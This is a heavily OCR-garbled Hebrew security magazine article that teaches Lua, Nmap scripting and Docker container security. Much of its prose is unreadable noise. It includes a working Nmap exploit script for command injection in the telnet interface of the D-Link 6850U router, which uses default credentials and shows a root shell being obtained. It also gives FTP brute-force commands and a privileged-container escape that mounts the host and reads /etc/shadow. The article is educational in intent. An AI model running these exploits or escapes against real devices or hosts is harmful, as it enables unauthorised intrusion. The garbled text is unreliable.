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11 . ,xe¥ X%y ) | DERCONMBlackHat 1 . i $ _ ~ 2! x q ¥4 s$ ¢«

S U S X s IR I D Teed A LIX X sax sy

v o~ ~ ~

¢
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e A Y s e siss Qo] Akl 1. s e Sl 4 X ISks P $4l b, . x s

TG ST e S e YT S, B XS X T s X TR {IX s

(1T, xAdspxs e 4" e X" x 41 2X%9 .,
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Nmap Scripting Engine

bindh3x  « _
S « S
b1 w4 x .  sfyodor-, €1~ 1%, 20 1S Nhap.~ xs x 7" o7 . X
11s A4 x4 soso TIPS A A CHGCG *x |, +dx7 4L 1s>*,d?”
. 421ALPHA1 s | mainjine. , ” Nrhap Scripting Engiree _ 2006 -~ * _ I X s 1 -
L1 kb X Ts o x T s o X X o X, 4k XXX,
Nmap. _ - x oL x ] {s
Al o % o s ™ 4 .« Nmap!Seript EngiRgs! (w1t ses o X s .
T T B S N T T N U
Lua:s x 7 Fis e b hs L
Sex1 121
X ], X3Y 1«
s | x o o SX _~4

Hello Nmap Scripting Engineb

LI T N

1«0 1"

L a~

Il s ” s S v q{ .«

~
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Lua
s "« s s P X 0 CGXxosIx DI x |1 xs s, fs{bya <, x 7]
1 x I x 1] «dx . X | x4 As><;,,4s'|"x Xy s ” . s DX G ]
e Lwad o X X1 X s 1,0 ox o bx>x o0 e 4l o0 kA
x 4 . X s s T S (S BTN x 7T . , XL F
x4, s . X "Nmagt X % 414, | F X BY xo5/mathe x ] x4 4,
N A S SR S I I AP IR AR N R S SRR RN
l— 'I ” . .
S X s 1S4 S I YuXXS$S ve | + S (-| L] "xx:s)x” .oX L ).L XXX sy L VJLuax
FL o2 o, xS ol e T, ysxl s s Clyas Tt Y st o7 {4 . F 4 loaal
P e Y9 p 4 L A Y " dacal | ey 4 g L 401 x T e () x
. S( - T,:E,Z‘.x{,,ﬂqvx“v
. y x I
local x= 1
local y = 2
local z = "Hello, World!"
function x()
local x = "Hello, World"
end
X 4 <" X .
S Bug® s 4. "X Z,,Iys,_L1"SZ‘~x ¥ x 4 $ s T S - . %]
function say_hello (name)
print ( AHel | 0., name)
end
S L, X
local say_hello = function (name)
print ( AHel | o., néme)
end
s « X s Pythor™ ** . ] "string formatting® - 1 7 X X s 4 _ 0 T A
| print (fiHel %600% ( iWor | do) ) |
S Xss, Xua™ X il A
s 4., formats 4 . <t A _ X 1x "X x dript(string.formato ¢ | SBET G2 2NI R0
.string
ZxCx,,]v Lo X X ]
Nmap Scripting Engine
www.DigitalWhisper.co.il
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s s #) . HT L ( . x s« {s kud™>x s . x4{ls. L. oSt
‘print (#x) Yo |
Pl SLL S sk Texyy . X
L ox X X
« _ Yyréquike' s . x s1td_ LT s A Aq s X+
‘Iocal X = require fix 0 |
S Xs X s Trequirgfi w5 % L S B L .
| require  fix 0 |
X S
1« s , X x s
|Iocal name = A My Na me ®andom name

- [[Thisis a
very long comment

— 1l

X < L X L
‘while =« L X
while 1 do
print (AHel.l 0)
end
10 "1k 4. sfQr 47, <l L_* 1L
for x =1, 10, 1 do
print  (X)
end
repeat - o« L X L
repeat
print (AHel l o, Worl d! o)
until 1 =20 2 ==
.G*dowhile * « L x L Lrepeat 4w X 1
Nmap Scripting Engine
www.DigitalWhisper.co.il
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1. L .tablesY+x{l+ arrayy

¢ 1 Uua™* _

| local my_array

={AAppl eo,

iOrangeo0,

iStrawberryo}

L O I x
‘table.insert (my_array, fABananao)
i s X 1 . L
‘ my_array[ #my array +1] = iBananaao
A LIS e X1 XH . 13 B s 4TS X esx {4 x U7 os ]
vrrs xy{ ~
| table.remove  (my_array, 1)
1. X 11 -.(infex o M~ 4o sl oy X oSy 14
for k,v in pairs (my_array) do
print  (v)
end
Fd Yy xdx1dX
1 ~q ¥yl
if "root" == "Administrator" then
print  ("x" )
elseif ~= "Linux"  then
print - ("y" )
else
print ("z" )
end
, o X A
if x ==y then x else y end
1.x 7 Fdx 14X
X i 1x 14
L S X X ==
LS X X L ~=
X and
X« or
L x| <
R >

« dtirhee $ % x o

Time.lua

function time (command)
local _start os.time ()
Nmap Scripting Engine
www. DigitalWhisper.co.il
7
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local time = nil ;

os.execute (command)

time = os.difftime

(os.time (), _start);

print  ( string.format ("%f" , time))
end
time( "Is -alh&& sleep5" )
Ruby *Python x _ | JX o 8 d s Ju L HSslp s x0T
s 4 w4747
Nmap Scripting Engine
www.DigitalWhisper.co.il
2017 1 | x@ox~x { ¥
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X1 w141 -~

s « 1 s s X v AT x A4 NmhapX .
X Y
1,4
Lo, Fdex L .o A T B N « x
Prerule
.DHCP . x - L L s .
A 1 IPx x4, FXq ]
Host
1,4« 1. x L, S .
Lo, Swq .~  Nmap_+ ~r14d, 4,4 | 1. x L )
Service
s . 1
1o ,s 14 v~ «~4_ % ANmap i _~» LsSie 4% xs., 4
Postrule
LR
N . B
o 44 s v xS XL X L ks
Nmap Scripting Engine
www. DigitalWhisper.co.il
9 2017 1, x8b6x v x { | ¥

F

.I

1



Technologic

S .. S 4 HIML, L M x g X x L, X x D] B 1 4.« x x
, 180 "1, x U X sNmBp. Xl il SERGGSIL N X . s s 4 x " 1
1L s T X" LHTMES « Fx 0 LosHTTPL X0 10 A X w4 1.

= X 1L S R PN . "M x A N@pt o F Kt~ 5SS X
x4, xy 1< 0 dls Lx 14 P xx
L X | s ], x
Sl P e x x4 { % 4 auth
V4 x “y ¢ _ -~ Booadcastingr 1 . - ¥ 1 % , 1 broadcast
(e L d AL s XD x i 4% 4 brute
6Cr S v s I s XA A" o pss v s o P o4 4N w11 4 default
Sos oo x bd P A ¥ v 41 4 discovery

PxX L A% <A, 1%, 4 dos

Am ~ > [N

X ¥ P AL "4 18, 4 exploit

whois ~:_ ¥y x g > &0 4 A2 A Ck external

[y
.
—

X e x iy s o1 @R XPd e o kx4 T o] 1, 4 fuzzer

-

SHd .,y Tyss 1 s {x{ %y s Xy A"HI e 4T 8] A

.safd's 4 . x ¥ {

intrusive

As s dx s X8 Vqs, ., | psp 41 { malware

b cxIxs A Tl e SR X o, % XX 4 L TR T
safe

HTML
Nmap-*: x« 4+ %34 ¢y*7],98 41 4 version

SooAsY T p s e AT e x U, P XX 4y 4 T " 1) 4 wuln

v oos Yy o e X T oy x b s 1. xos 4 v d1
discoveryix. _ x 1 x* .« xsafdl £ x4 x ¥ 1 HTTP Meaderis _ v ¥ 5 8 AR
P N I D
s | x .. xs, X
cp77fk4ex tsif v X T4 -Nmap v s S S N S R R B
Nmap- + s * 1. s> 1 .B3s x7 xT{{0y¥* s ., x
B T e T R S , X4 . x¥ 1<« Nmap ,1~-5s.

Fd1” X ¥ , « X
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L D
| $ nmap - - script script - name 127.0.0.1 |
?bruteforce - * _ _ 1 A -~ 0 "t v " oL 28417 Xy
x Lo ox b S F11 7 keyevalug -t . f-scrigkargsi < x -7 s ¢ s
(.) 1
$ nmap - - script script -name --script -args fiuser =root,
wordlist=password. | sto
10 x o1 x A
$nmap -p21 --scriptftp -brute --script -args fuserdb=users.tKt,
passdb=pass. |l stoiw27.0.0.1
s -&cripthelp* _ _ + " s _x x4 X oxs s x4 x
$nmap -- script -helpftp - brute
Starting Nmap 7.50 ( https://nmap.org ) at 2017 -06-17 19:48 IDT
ftp - brute
Categories: intrusive brute
https://nmap.org/nsedoc/scripts/ftp - brute.html
Performs brute force password auditing against FTP servers.
Based on old ftp - brute.nse script by Diman Tod orov, Vlatko Kosturjak
and Ron Bowes.

Fdl o x % A R « v oL X X

1 Nmap 1« 1,

[$nmap --script Asafe, defaultodo 127.0.0.1

Fooe 1 A ko sdos o Xes oy xpl st WS, xpeoqex 406 5 3,8 ]
shttp-"- e 401 -
|$nmap -~ script fAhotlpocal fpsOs t |
GRSTroBOGFSBEx ¥ 14841 4 k5
\$nmap -script Anot safe or defaulto 127.0.0 1|
baYo€d, 11,1k 5s
[$nmap -script A*smb*od 127.0.0.1 |
Ll DX s X 2]y x|
|$nmap -script Ai(default or safe) and not *smb*o 1127.0.
B I R S T e B I S N I R O
St o U R ] e X X YRS L X 4TS K L T . 3 X8 s
|$nmap -- scriptbad - code.nse -d4 |
L T TN I T AR I 1 MR BT TS P B B
Nmap Scripting Engine
www.DigitalWhisper.co.il
11 2017 1, x85xx 4 L ¥



Technologic

x4 1,
G main: {14 . 8% XXX
S {1~ Lss x oo

Hello Nmap Scripting Engine

e d 4.4, 1 NSE

ssp 118k Xxas"{ . .-"agtion .2

st xsq,s44OsTH o« Tpxq Usx D7

~

'+ 4 0 Apbrt-xhost r:4 | A "Nmap_ ¢ * «1_, 1~ «

~ >

i 4
1] NSsET+, 41~ o _
- @usage -- 1, 4. <X X < oxo oy x|
- @output - 1 4 . IS0« ¥ x|
- @args - L X1, 4. sk A1 XY L
description = I
— 1 4. axsq
|
author = "bindh3x <you@example.com>" - 1, 1.3 %]
license = "Same as Nmap -- See http://nmap.org/book/man - legal.html" - T Al
categories = - xA.xMA1Ls
portrule =
action = function (host, port) --x a4 sl xs
return A OQut put O
end
Eox s X x ] = s -|>.|,,“vs Lo IxA-|:s a4 9L
Nmapt . s itHSsS~s x v 0 b X, DX
~-scripthelp _ 1~ " -~ _«~ 1 1 x{ -idgsériptior),9 s -«
AL x b ox s e L D x - anitho %3 s ) M
.SameasNmapl ~ 1 ~ _ s 1 ¥ x s ” -igenseéi, 14, s . X X
- X4 . x¥ 1. - catedoriedi, 151 5 , x|
Nmap Scripting Engine
www.DigitalWhisper.co.il
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S A L 1 4.« s _x . {portrglegs {1 " ¢" < xs] s "

portrule = function (host, port)
-- if port.state
return  port.number == 80
end

shortport s 1 1~ portuler~ 41 ¥ s o x I xos T« Lo
local  shortport = require  "shortport"
portrule = shortport.http
Xow X X Kl s w0 T T L x . AB0X T xS 4 % swxs s

J I'x< o< Xx Tl oA

Exploit- * 4 - |

v 404 L 1 U SDLINKBBEOUS X . Bl X v 4L X1 AXTT f asios] 4T

ténet) 123 1. x _ NmMapird ¥ S « w 1%« ds T« XX I ]0sx

v

s 4+ L *.shell, 14x: sx<1% © Admins _ _ : sy P10 s X L.

> ~ v A

© 4 sxoyser: roAdmid-. _x 1 x " Dlink L reddded XX L]
B T T T U SN U Y - o4 0 1= SR SR R WL A AL ORN A I
?20 _+«shell' ox I ox{e s Lox o, v L

$ telnet 10.0.0.138

Trying 10.0.0.138...

Connected to 10.0.0.138.

Escape character is '*]'.

BCM963168 Broadband Router

Login: user

Password:

>ping -cl8.8.4.4 && bash

PING 8.8.4.4 (8.8.4.4): 56 data bytes

64 bytes from 8.8.4.4: seq=0 ttI=57 time=84.122 ms

---  8.8.4.4 ping statistics
1 packets transmitted, 1 packets received, 0% packet loss
round - trip min/avg/max = 84.122/84.122/84.122 ms

BusyBox v1.17.2 (2014 -04- 04 15:16:58 CST) built - in shell (ash)
Enter 'help’ for a list of bu ilt -in commands.

# echo "who are you?" ; echo $USER
who are you?

root

#

Nmap Scripting Engine
www.DigitalWhisper.co.il
13 2017 1, x@5xx { L ¥
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S« (2?71 xréb#ot _HFAs A d b)Y v, Ll L 1X. .y x S L
SoLx s - {1 . xx R 1 1
NSE Python_ 1, 1~ « ¥ 2+ " X xX
F1173 XYy s s 23 3 XX x4 s socket§x o "7 L,
o 1% < v user 1
S _ . Password .2
_ X sl Xy exec .3
. eéxec 17 xy ., x7 440 shxo s A S
réquire" 7 dlinki 6850t _exec.nse  r _ X b KR, X x s s 1, «1s 1. x
. B ” = s X . _I ,
--  (@usage
-~ nmap -- script dlink_6850u_exec <target>
--  @output depends on the command output.
-- (@args user, password, exec
local nmap = require  "nmap" -- new_socket()
local stdnse = require  "stdnse" - print_debug()
1,4~ , 5 bq
description = [[Exploit for D - Link 6850u router.
exploits command injection in the telnet interface.
1l
author = "bindh3x <bindh3x@gmail.com>"
license = "Same as Nmap -- See http://nmap.org/book/man - legal.html"
categories = {"exploit" , intrusive" }
1,4~ sporfrdle-s £ ~ x> " p | X x ¥y " {71
local DEFAULT_USER= "user"
local DEFAULT_PASSWOR®D "user"
local PAYLOAD= "ping -c18844&&"
---  Portrule
portrule = function (host, port)
return  port.number == 23
end
c 11 N s X 1,4+« Se,dr 1 X1 ractofl' psS4{..W""xx s X {"s

Nmap Scripting Engine
www.DigitalWhisper.co.il
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_I X n

.I

1

r”

.I

Y

DA A % T

action = function (host, port)
-- Script arguments
local user = stdnse.get script_args( “user" ) or DEFAULT_USER
local password = stdnse.get_script_args( "password" ) or DEFAULT_PASSWORD
local exec = stdnse.get script_args( "exec" ) or "Is"
.stdnsé s 41 4 get script arfs s 4 "X X 4 L XX o4 57X
1., x L timebut -~ "{Xsocket , »'x « 4" T | _
local socket = nmap.new_socket()
socket:set_timeout( 1000)
local status, err = socket:connect(host, port)
X LX< s FS o N:.”:(sttjvs‘x 1
--  Receive header -
local status, data = socket:receive_buf( "Login:" , false )
if  not status then return nil end
--  Debug message on level 4
stdnse.print_debug( 4, "Trying to login with %s:%s" , user, password)
--  User
socket:send(  string.format ("%s\r\n", user))
local status, data = socket:receive_buf( "Password:" , false )
if  not status then return nil end
--  Password
socket:send(  string.format ("%s\ r\n", password))
local status, data = socket:receive_lines( 2)
if  not status then return nil end
shx o s 9 payloads 1 € 1 1% _ * 7" x X

socket:send(

Sends the Payload
string.format

("%s %s\ r\ n", PAYLOAD, exec))

local status, data = socket:receive( 1024)
if  not status then return nil  end
socket:close()
return  data
end
Nmap Scripting Engine
www. DigitalWhisper.co.il
15 2017 1

5 x86x=\x 1LY

X "

+



Technologic

--  (@usage
-~ nmap -- script dlink_6850u_exec <target>

--  @output depends on the command output.
-- (@args user, password, exec

local nmap = require  "nmap"
local stdnse = require  "stdnse"

description = [[Exploit for D - Link 6850u router.
exploits command injection in the telnet interface.

1l

author = "bindh3x <bindh3x@gmail.com>"

license = "Same as Nmap -- See http://nmap.org/book/man - legal.html"

categories = {"exploit" , intrusive" }

local DEFAULT_USER= "user"
local DEFAULT_PASSWOR®D "user"
local PAYLOAD= "ping -c1884.4&&"

portrule = function (host, port)
return  port.number == 23
end

action = function (host, port)
--  Script arguments

local user = stdnse.get_script_args( "user" ) or DEFAULT_USER

local password = stdnse.get_script_args( "password" ) or DEFAULT_PASSWORD

local exec = stdnse.get script_args( "exec" ) or '"Is

local socket = nmap.new_socket()
socket:set_timeout( 1000)
local status, err = socket:connect(host, por t)

-- Login session -
local status, data = socket:receive_buf( "Login:" , false )
if  not status then return nil end

stdnse.print_debug( 4, "Trying to login with %s:%s" , user, password)

--  User
socket:send(  string.format ("%s\r\n", user))

local status, data = socket:receive_buf( "Password:" , false )

if not status then return nil  end

--  Password

socket:send(  string.format ("%s\ r\n", password))
local status, data = socket:receive_lines( 2)
if not status then return nil end

-- Sendsthe Payload
socket:send(  string.format ("%s %s\ r\ n", PAYLOAD, exec))

Nmap Scripting Engine
www.DigitalWhisper.co.il
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local status, data
if not status then
socket:close()

socket:receive(
return  nil  end

return  data

end

. 1 X« .S

$nmap -p23 -- script dlink_6850u_exec.nse
\ $USER" 10.0.0.138

-- script - args "exec=echo

Starting Nmap 7.50 ( https://nmap.org ) at 2017
Nmap scan report for 10.0.0.138
Host is up (0.0018s latency).

-06- 20 12:21 IDT

PORT STATE SERVICE

23/tcp open telnet

| dlink_6850u_exec: ping -cl18.8.4.4&& echo $USER\ x0D
|/ \'x0D

|_root \x0D

Nmap done: 1 IP address (1 host up) scanned in 1.76 seconds

L Lo X 1 nort-printakle, characté?ss uw 1 " - - 1 s toxo
« 1 s ¢
MySQL
*xoo "o x 71w, sl od s s F,4 ) *mysglinfor ¢ ¥ " d ) ANmMag* . £ 14~
xA.|\(>~ x‘_v,,_y=.|:.|x‘s"¢Lx”L‘|J”xL"~ gL - ¥ L s s ¢ s . ¥
Lo T T xrequikex A L X0 LAY Ll S 141 -
local shortport = require  "shortport"
local nmap = require  "nmap"
local mysgl = require "mysqgl"
local stdnse = require "stdnse"
portrule-s x 1 4.« s o+ A
description = [[Return the MySQL server version
only if the server version was specified by the user.
1l
author = "bindh3x < bindh3x@gmail.com >"
license = "Same as Nmap -- See http://nmap.org/book/man - legal.html"
categories = {"discovery ", "safe" }
portrule = shortport.port_or_service( 3306, "mysql" )
. X . -{ . S X
Nmap Scripting Engine
www.DigitalWhisper.co.il
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action = function (host, port)
local uv = stdnse.get script_args( "version" )
local socket = nmap.new_socket()
socket:set_timeout( 5000)
local status, err = socket:connect(host, port)

if not status then return nil end

local status, info = mysql.receiveGreeting(socket)
if not status then return nil  end

if info.ver sion == uv then
return  info.version
end
return  nil
end
1.+« 7 4%s mysqgl 'sH:4" mysgl.receiveGreeting s 4 .« " x * 4 - x" 17
X 4L~ X100 0 MySQLE ~ Lt 191
i ‘I y n
$nmap -- script mysql -version -p3306 0.0.0.0 -- script - args
"version=5.6.35"
Starting Nmap 7.50 ( https://nmap.org ) at 2017 -07-02 12:04 IDT
Nmap scan report for localhost (0.0.0.0)
Host is up (0.10s latency).
PORT STATE SERVICE
3306/tcp open mysq|
|_mysqgl - version: 5.6.35
Nmap done: 1 IP address (1 host up) scanned in 1.15 seconds
.o XA .
X kY s X msIBOIOL K d s . 4 1 0 X . v S T v X o XS
x 7 ooos 1 s b es  ox bX s Xxx x| 0 5 x o, | X SEtefinglBlugd x - s 1«
.Paulino Calderon™ - 1 _ ' x <« o . 0,)"x"%s_s1 (SMB«_ x_HY S 1.

T s Xrequire®x 4 0"

local smb = require  "smb"
local stdnse = require  "stdnse"
local string = require  "string"

Nmap Scripting Engine
www.DigitalWhisper.co.il
18 2017 1, x@5xx { L ¥



https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
https://twitter.com/calderpwn

Technologic

‘hostrules x 1 4 .« s |
description =]
Attempts to detect if a Microsoft SMBV1 server is vulnerable to a remote
code
execution vulnerability (ms17 - 010).]]
author = "Paulino Calderon < paulino()calderonpale.com>, bindh3x"
license = "Same as Nmap -- See https://nmap.org/book/man - legal.html"
categories = {"vuln ", "safe" }
hostrule = function (host)
return ~ smb.get_port(host) ~= nil
end
- L~ Xx>*4 1 Share ram& 1 " x s
action = function (host, port)
local smb_header, smb_params, smb_cmd
local overrides ={
local sharename = stdnse.get script_args( "sharename" ) or "IPC$"
local status, smbstate = smb.start_ex(host, true , true , "\\\\".
host.ip A sharename, nil , nil , nil )
if not status then return nil end
X T X payklags " X . X0 A
overrides[  'parameters_length' ] = 0x10
-- SMB_COM_TRANSACTION
smb_header = smb.smb_encode_header(smbstate, 0x25, overrides)
smb_params = string.pack( ">12121212BBI12141212 12 1212BBI2
12121212 12" ,
0x0, Total Parameter count (2 bytes)
0x0, Total Data count (2 bytes)
OXFFFF, Max Parameter count (2 bytes)
OXFFFF, Max Data count (2 bytes)
0x0, Max setup Count (1 byte)
0x0, Reserved (1 byte)
0x0, Flags (2 bytes)
0x0, Timeout (4 bytes)
0x0, Reserved (2 bytes)
0x0, ParameterCount (2 bytes)
0x4a00 , ParameterOffset (2 bytes)
0x0, DataCount (2 bytes)
0x4a00 , DataOffset (2 bytes)
0x02, SetupCount (1 byte)
0x0, Reserved (1 byte)
0x2300 , PeekNamedPipe opcode
0x0, --
0x0700, - BCC (Lengthof"  \PIPE\")
0x5¢50, -- \P
0x4950, - IP
0x455¢ E\
)
result, err = smb.smb_send(smbstate, smb_header, smb_params, "
overrides)
if  not result then return nil end
Nmap Scripting Engine
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: 0kc000020p s L * « - s s X xy s 1. 1!
~

result, smb_header, , = smb.smb_read(smbstate)
_,smb_cmd, err = string.unpack( "<c4 B 14" ,smb_header)
if smb_cmd ~= 37 then return nil end
if err == 0xc0000205 then

stdnse.debugl( "STATUS INSUFF_SERVER_RESOURCES response received" )
return  true

end

return  false

end

$nmap -p445 -- scriptsmb - msl7- 010.nse 0.0.0.0

Starting Nmap 7.50 ( https://nmap.org ) at 2017 -07-05 16:15 IDT
Nmap scan report for 0.0.0.0

Host is up (0.14s latency).

PORT STATE SERVICE
445/tcp open microsoft - ds

Host script results:
|_smb - ms17- 010: true

Nmap done: 1 IP address (1 host up) scanned in 1.22 seconds

J Game oves

Xl
Pxws x40 1 w4 _ 0 VX< is .« -Nmap Scripting Erfgine! x « _
'x ANmapy 4% 1> ¢ - Lo~ AL DU TS T BT S | N S A
= x A I X X 1~ . Lo I x X « Y X
https://nmap.org/nsedoc
S XNmap ., -~ , PaufnéQalderon . + 41, 4~ _ s o . x* AL _ _
vox e 41 A Lo
https://github.com/cldrn/nmapnsescripts
:defcon 18 fyodor . . s« ., ss 7 XX
https://www.youtube.com/watch?v=MUJq7Y SfZ4I
. XS ., X { « s I 4., x s =l q . . s ] L
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https://nmap.org/nsedoc/lib/nmap.html

https://nmap.org/nsedoc/lib/shortport.html
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11 Contaihetss ~ 4> <7 T d4s [ 7 _ s bx>xq4 o Tx | o4
.66%* _ _ Caonthiner2x | x X {33%* 1 x Kk _* Caontaiherti

(hello-world) = 4" x _« . Ix "
yuminstall © ! x <« 41 4 o Docker s T %« Xs :
yum install docker |
s ss o« bxx DocKer, - loX s 7 x4 s Dockérst T st s 2o T
s T s X% s 14: s

docker run hello - world |
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[root@DockerHost ~]# docker run hello-world

Unable to find image 'hello-world:latest' locally

Trying to pull repository docker.io/library/hello-world ...
latest: Pulling from docker.io/library/hello-world

bo4784fba78d: Pull complete
Digest: sha256:f3b3b28a45160805bb16542c9531888519430e9e6d6ffc09d72261b0d26ff74f

Hello from Docker!

This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:
. The Docker client contacted the Docker daemon.
. The Docker daemon pulled the "hello-world" image from the Docker Hub.
. The Docker daemon created a new container from that image which runs the
executable that produces the output you are currently reading.
. The Docker daemon streamed that output to the Docker client, which sent it
to your terminal.

To try something more ambitious, you can run an Ubuntu container with:
$ docker run -1t ubuntu bash

Share 1images, automate workflows, and more with a free Docker ID:
https://cloud.docker.com/

For more examples and ideas, visit:
https://docs.docker.com/engine/userguide/

Docker Host Llmages * « « Docker-Daemont = X _ «~ » X %« §7 X 14X

helloo + _Ithages '« x " DocketHub x $ 1, * . {iDockérRegistyy . _ Y 1" 7~ 1.

1o xv e v d0 x4l dcs s s TContainers™ X:x«{ [, cworld<x ] xst  ixL
s Ixss 1y .s Containers | I _ .Y

A 1 ~ v

x { Baemon - x .~ | ¥ s Contaiher s> s-1412 % <.,
X L 1 X s oox ,, 1y s i x " A ZxAXx” DX ] x oy X,
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docker run -- detach -- name nginxX1  -- hostname ng inx1 nginx
docker exec - it nginx1 /bin/bash

[root@localhost ~]# docker run --detach --name nginxl --hostname nginxl nginx
U(?fS?SZSedf 47cae37d836731e5786e547588396b5003c282ec540f 1ece31

[root@Llo ost ~]# docker exec -it nginxl /bin/bash

root@nqlnxl /# I

.root _ _ . UL Fd oL XX . x "oy N « 4 s s | x s Lo X . 1
gnomenettool = x Y 1 v 4L 1 . xS 4o Ts L x o ox X gx
+ 1. lcentainer 4 x.: *x nginx* ~ *x 1 T xx 4 | _x7"X{gmap  _ - S L

Sl XA 0410 sy 14, =1L x
apt - get update
apt - get install gnome - nettool && apt - get install nmap
L. =~ _»S ;x4 4 X1 nmap F A% 0 _ X185 id” s kxS ok
s I x & S¢nScan~~ hrhap* - x _ .+ 1 * s x 172.¥7/0.0/16 -stontainerss
v is o o x Ty
nmap -sS -sV -Pn -- open 172.17.0.1/16 - oX container - network.xml ‘

root@ginxl: /# nmap -sS -sV -Pn --open 172.17.0.1/16 -oX contalner-network.xml

Starting Nmap 7.48 ( https: -"nmap.org ) at 2017-86-24 20:36 UTC

Nmap scan report for 172.1

Host 1s up (0.00042s 1_atencv]

Not shown: 999 filtered ports

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION

22/tcp open OpenSsH 6.4 (protocol 2.0)

MAC Addr 02:42:01:4A:EB:72 (Unknown)

Nmap scan report for 172.17.0
Host 1s up (0.00018s latency).
Not shown: 999 closed ports

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION

80/tcp open http ngLnx 1 13 1

MAC Address: 02:42:AC:11:00:03 (Unknown)

Nmap scan report for nginxl (172.17.0.2)

Host 1s up (0.000050s latency).

Mot shown: 999 closed ports

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION

80/tcp open http nginx 1.13.1

Service detectlon performed. P]ea»e report any incorrect results at https://nmap.org/submit/
Nmap done: ¢ E 5 5 hosts up) scanned in 2600.81 seconds

X x 1 DX« L §SH T x4 M22, fi.lx x*Ddcker Host - L X L
LUK s XXy A x L s X 80 S1% ngidk. H X . 4 1 HR.ETDB o 4 %

~ > >

X X o« B .o L FY Ll ox ] s x Xy 11 . X LLL X ] s S o

1 >
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P, X o1 T T v cud Te7247R0.3 5 XLl ] -172.17.0.8 , 7 2 % x 1

~ < ~

apt - getinstall curl
curl 172.17.0.3:80

root@nginxl:/# curl 172.1
<!DOCTYPE html=
<html=
<head=
<title=Welcome to nginx!=/title=
<style=
body {

width: 35em:

margin: 0 auto;

font-family: Tahoma, verdana, Arial, sans-serif;

<body=

<hl=Welcome to nginx!=/hl=

p=>If you see this page, the nginx web server is su ;fully installed and
working. Further configuration 1s regquired.</p=

<p=For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/=
Commercial support 1s available at

<a href="http://nginx.com/">nginx.com=/a>.</p>

<em=Thank you for using nginx.</em=</p=
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, oo~ © Fo Lo s s contdinkrs ¢ 4 x 1 X 1 s| . 4 | Docker Hast -~ *
Fe b Y, s X { X Containers+ < ~+_4«-: Tt~ Docker® | ¥ 4% . o D1

s * ., |CC- Inter Container Communication _ * s .~ Il ys s § *x7 1 x§4 { s

N

~ a

_|_
¢

Containers 1 * s « S X Stue s qd s X C s XMy sy c

~

- 1 = X « X s . | yxs

syY {._  HKHosts 1 L« Privlege Escalationx " v - " ! ohtainer. s ~ 1sf | s+ {

a

L1 s T 4. Dx L lcomainerd X% cs !, s X

Exiting the Docker Container
www. DigitalWhisper.co.il
28 2017 1, x85xx 4 L ¥




x s x Xy o x .« ., Confainers - xS¥I~1 A1 L < 4

1. _ Docker+s 1. _ X il X LxsxXy Ix. S I
_Containeér | xDoegker Host - x 4«4 :° x4 41 x X 4s L L xy
. Rrivileged Container. - x s x Xy . x <« s

X201 7 ¢ ADogker . kAT x )b Txex oo g o 4y, L4 x
Joxoe - (lett/shadow) = x Dotker Hos R I A AN s 1y« Pl

Coxloxe g . 1 Container® - 4 *docket.speke _ *x < . x4 Ix o o < d
.~ " 441 docker 4 x:

S J+18* 1" x <A , =] x . . q . ] P . . oL X ‘S”XSXL~ L xs,_,,M ss ¢ s

Lo Loxo o ox X s D O . X" X2 0,171 L 1+ XX, C X L X ] s X Xy s Xy

- x L Docker s L s 11X+ DXL by sy I SN ix -
X X x o, D S x /] s 7 ] x I s

:DigitalWhisper + DobckerHoss ., _ ' 1 _ _+_ _ =-~41y"” x7"«
| useradd DigitalWhisper |
L. S~ _x1s {* €Caohtainers -Privileged 1-+x ~._.Container + 1 ~ 11 ¥y x 7"+ ., «
« (Containe® + 4 4. _ .~ _~ 1 (1 *Xss S X v o T AT X
s | x S . X s x Xy X

| Is /dev |

[root@containerl /]# 1ls /dev
console core fd full fuse IREENE null pimx random stderr stdin

stdout tty wurandom zero
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[.lcacat@[lcackelet ~1# docker exec -it pcl /bin/bash
[lcaot@pccmtalnerl /1# 1s /dev
cpu_dma latency fbo 'loop control net ppp sdal sda7 snd ttyl
crash f 0 network_latency D sdal® sda8 sro ttylo
dm-@ network_throughput sda2 sda9 stderr ttyll
dm-1 s null sda3  sg@ stdin  ttyl2
dm D g nvram sda4 sgl stdout ttyl3
iy oldmem sda5 tty ttyld
port sda6  snapshot tty0 ttyl5
x Ix o 1 x L Docker Socket , x i £gntaineys L _ - XL X 1 4s T« X
s ¢ 1 _ xCofitainerd - ", s ., .Dbocket 17 x «s ]>
docker run -it  -- privileged - v /var/run/docker.sock:/var/run/docker.sock
-- name pdcl - h pdcl centos /bin/bash
1! Dockers -+ 7 4 LContainerst 1Ixx": L oy 4, X x T x 717
| yum install docker |
Containers + _ s _ 4 Y I xChmtaihersd "4 x1ix X (x ™D x o o ox D ox
L S 7 Gontainers « 1. 041+ sc 1DBogckerHest [+ 4 434X s & 4
(~>*s v _ ¢ Yol o [ s7 <5 s >XDoekert « @ x {s
docker start pdcl
docker exec - it pdcl /bin/bash
XLX o OX XTI X 1%, Cantaimefsd XTI vy 4. X x 7 X x o x 7
:Docker
[l(x(:tu]ixdcl /1# docker ps
CONTAINER TD IMAGE COMMAND CREATED STATUS TS NAMES
b centos /bash" About an hour ago I|p Ahout an hour pdcl
centos "/bin/bash" 20 hours ago Up 20 hours dcl
nginx "nginx -g 'daemon off" 41 hours ago p 4 80/tcp nginxl
centos "/bin/bash" 43 hours ago 4 pcl
ubuntu "/bin/bash" 43 hours ago rs c2?
centos "/bin/ba 43 hours ago rs cl
nginx "nginx -g 'daemon off" 9 days ago Up 24 hours 0.0.0.0:32768->80/tcp  test-nginx
L Decker Host + {1 (Contajnérss 1 -« ddckerpsst - ! x« x0T 147
"letc/shaows 1 x . 4 > 1 x .Containérs: {1"x 18X ife 7 T {41
[root@pdcl /]# cat /etc/shadow
root: 10cked :0:99999:7: ::
1711 99999:7
.17110 0:99999:7:::
117110:0:99999:7: ::
17110:0:99999:7: ::
.1711@. 999:7:::
*:17110:0: 99999 Tii:
17110 0 99999:7:
17110 ):99999:7:
17110 0: 99999 Tii
D:99999 HH
systemd-bus-proxy:!!:17322
L . * Contaiher ~ x « {DockérHast . ¢ 1~ _ docker X" 17x"« .
:Containers  vvarftmp - 4 4 « 1 ‘rootsx -4 4(«/1): O I R T
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docker run -it  -- privileged - v [:lvar/tmp -- name PE - h PE centos
/bin/bash
